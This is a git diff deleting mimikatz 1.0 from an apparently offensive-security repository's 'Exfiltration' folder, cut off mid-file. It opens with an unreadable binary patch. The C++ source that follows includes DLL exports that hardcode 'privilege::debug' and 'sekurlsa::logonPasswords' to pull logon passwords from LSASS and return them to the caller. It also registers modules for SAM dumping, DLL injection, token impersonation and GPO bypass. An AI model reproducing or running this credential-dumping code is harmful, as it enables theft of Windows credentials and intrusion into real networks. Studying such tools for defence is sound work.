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 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog deleted file mode 100644 index a9809e1aa9bfc8a1cecd1671d78b7e215fc35587..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3262 zcmdUyO;5r=5Qg8giT{D49%$sE#v5*1Y@mho3u7Aj|9?V#W?O>+E-Geg8fa%{=scZ$ zyF0wUy~^o9ofgVe>q(6su{K(3t3;(L#uBYK5e`w3C|KUGYd2`4)wN!cEc*S^810KDyCd}@5fM~%CGM`s2cb-!DsArmHvY7 zJNw(=D&1Etw7O%jqh8(nx`n2)b-mS&Z&Uf$=z1RO)Q)%8FkRi}j@GauSU+HP0pD?V zx1+x*c~7nPjE2a4FEuuL$1WYCgC(T4H;tdzI@ARp>vHRVMQ;BsDk`1(UjKB>KLDFK B$#DPx diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog deleted file mode 100644 index 5913372303152dc86d075d7216dac40c5b972df7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 354 zcmd6jK@Ng26hzj^iU9ndhcEC~w6l=|Ha+ji`|qeJ^E|80Bw?;Y`LU;rwSa%_})_ U*jdkE-TFeF*dlgz`nlNp2Tm|FqyPW_ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp deleted file mode 100644 index 365bd1a..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp +++ /dev/null @@ -1,5 +0,0 @@ -#include -#include -#include "global.h" - -std::wostream *outputStream = &std::wcout; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h deleted file mode 100644 index 4bfe000..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/global.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once -#include - -extern std::wostream *outputStream; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp deleted file mode 100644 index 8862e42..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "globdefs.h" -#include -#include -#include "mimikatz.h" -#include - -int wmain(int argc, wchar_t * argv[]) -{ - setlocale(LC_ALL, "French_France.65001"); - _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - - /*SetConsoleCP(CP_UTF8); - SetConsoleOutputCP(CP_UTF8);*/ - - vector * mesArguments = new vector(argv + 1, argv + argc); - - mimikatz * myMimiKatz = new mimikatz(mesArguments); - delete myMimiKatz, mesArguments; - return ERROR_SUCCESS; -} - -extern "C" __declspec ( dllexport) wchar_t* WStringFunc() -{ - wostringstream *stringStream = new wostringstream(); - outputStream = stringStream; - - vector* mesArguments = new vector(); - (*mesArguments).push_back(L"privilege::debug"); - (*mesArguments).push_back(L"sekurlsa::logonPasswords"); - (*mesArguments).push_back(L"exit"); - - mimikatz* myMimikatz = new mimikatz(mesArguments); - delete myMimikatz, mesArguments; - - wstring output = (*stringStream).str(); - const wchar_t* outputStr = output.c_str(); - wchar_t* out = new wchar_t[output.size() + 1]; - wcscpy(out, outputStr); - out[output.size()] = '\0'; - - return out; -} - -extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) -{ - wostringstream *stringStream = new wostringstream(); - outputStream = stringStream; - - int argc = 0; - LPWSTR* argv = CommandLineToArgvW(input, &argc); - - vector * mesArguments = new vector(argv, argv + argc); - - mimikatz* myMimikatz = new mimikatz(mesArguments); - delete myMimikatz, mesArguments; - - wstring output = (*stringStream).str(); - const wchar_t* outputStr = output.c_str(); - wchar_t* out = new wchar_t[output.size() + 1]; - wcscpy(out, outputStr); - out[output.size()] = '\0'; - - return out; -} - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp deleted file mode 100644 index 7265ef9..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp +++ /dev/null @@ -1,286 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mimikatz.h" - -bool mimikatz::initLocalModules() -{ - mod_system::getVersion(&mod_system::GLOB_Version); - mod_mimikatz_sekurlsa::loadLsaSrv(); - mod_cryptoapi::loadRsaEnh(); - - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion système", mod_mimikatz_system::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilèges", mod_mimikatz_privilege::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accès", mod_mimikatz_impersonate::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); - return true; -} - -mimikatz::mimikatz(vector * mesArguments) : Kmimikatz(NULL) -{ - initLocalModules(); - SetConsoleTitle(MIMIKATZ_FULL); - (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << - L"// http://blog.gentilkiwi.com/mimikatz" << endl; - - bool mustContinue = true; - if(mesArguments) - { - for(vector::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) - { - wstring commande = *maCommande; - (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; - mustContinue = tryToDispatch(&commande); - } - } - - if(mustContinue) - { - wstring * monBuffer = new wstring(); - do - { - (*outputStream) << endl << MIMIKATZ << L" # " << dec; - getline(wcin, *monBuffer); - } while(tryToDispatch(monBuffer)); - delete monBuffer; - } - wcout.flush(); -} - -mimikatz::~mimikatz(void) -{ - mod_cryptoapi::unloadRsaEnh(); - mod_mimikatz_sekurlsa::unloadLsaSrv(); - mod_mimikatz_inject::closeThisCommunicator(); -} - -bool mimikatz::tryToDispatch(wstring * maLigne) -{ - bool reussite = false; - - if(!(reussite = maLigne->empty())) - { - switch(*(maLigne->begin())) - { - case L'@': - case L'*': - reussite = this->doCommandeDistante(maLigne->substr(1)); - break; - case L'!': - reussite = this->doCommandeKernel(maLigne->substr(1)); - break; - default: - wstring fonction = *maLigne; - vector arguments; - - size_t monIndex = fonction.find(L' '); - if(monIndex != wstring::npos) - { - fonction = fonction.substr(0, monIndex); - arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); - } - reussite = doCommandeLocale(&fonction, &arguments); - } - } - - return reussite; -} - -bool mimikatz::doCommandeLocale(wstring * fonction, vector * arguments) -{ - size_t monIndex = fonction->find(L"::"); - - wstring module = L""; - wstring commande = *fonction; - - if(monIndex != wstring::npos) - { - module = fonction->substr(0, monIndex); - commande = fonction->substr(monIndex + 2); - } - - for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) - { - if(module == monModule->module) - { - for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) - { - if(commande == maCommande->commandName) - { - return maCommande->ptrCommand(arguments); - } - } - - if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; - else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl; - - (*outputStream) << endl << L"Description du module : " << monModule->description << endl; - listCommandes(monModule); - - return true; - } - } - - (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; - listModules(); - return true; -} - -bool mimikatz::openKernel() -{ - bool reussite = false; - - if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) - { - (*outputStream) << L"Ouverture du pilote mimikatz : "; - Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else - { - reussite = true; - } - - return reussite; -} - -bool mimikatz::closeKernel() -{ - bool reussite = false; - if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) - { - if(CloseHandle(Kmimikatz)) - { - Kmimikatz = NULL; - reussite = true; - } - } - return reussite; -} - -bool mimikatz::doCommandeKernel(std::wstring &commande) -{ - if(!commande.empty()) - { - if(openKernel()) - { - DWORD dwReturn; - /* - (*outputStream) << L"DEBUG WriteFile " << endl << - L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; - */ - if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) - { - /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ - - DWORD dwBuff = 0x40000; - DWORD dwRead = 0; - BYTE * buffer = new BYTE[dwBuff]; - RtlZeroMemory(buffer, dwBuff); - - /*(*outputStream) << L"DEBUG ReadFile " << endl << - L"\tBuffSize : " << dwBuff << endl;*/ - - if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) - { - /*(*outputStream) << - L"\tReaded : " << dwRead << endl << - endl; - */ - wcout /*<< L"BUFF : " << endl*/ - << reinterpret_cast(buffer) << endl; - } - else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; - - delete[] buffer; - } - else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; - } - else - { - (*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl; - closeKernel(); - } - - return true; -} - -bool 